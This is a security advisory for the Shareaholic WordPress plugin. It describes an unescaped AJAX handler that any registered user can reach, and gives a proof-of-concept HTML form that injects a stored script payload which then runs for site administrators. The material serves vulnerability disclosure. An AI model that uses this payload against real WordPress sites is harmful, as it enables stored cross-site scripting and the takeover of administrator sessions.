1. Description

ShareaholicAdmin::add_location is accessible for every registered user.

File: shareaholic\shareaholic.php

add_action('wp_ajax_shareaholic_add_location', array('ShareaholicAdmin', 'add_location'));


$_POST['location'] is not escaped.

File: shareaholic\admin.php

public static function add_location() {
$location = $_POST['location'];
$app_name = $location['app_name'];
ShareaholicUtilities::update_options(array(
'location_name_ids' => array(
$app_name => array(
$location['name'] => $location['id']
),
),
$app_name => array(
$location['name'] => 'on'
)
));

echo json_encode(array(
'status' => "successfully created a new {$location['app_name']} location",
'id' => $location['id']
));

die();
}

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="shareaholic_add_location">
<input type="hidden" name="location[app_name]" value="recommendations">
<input type="hidden" name="location[name]" value="post_below_content">
XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
<input type="submit" value="Hack!">
</form>

XSS will be visible for admin:
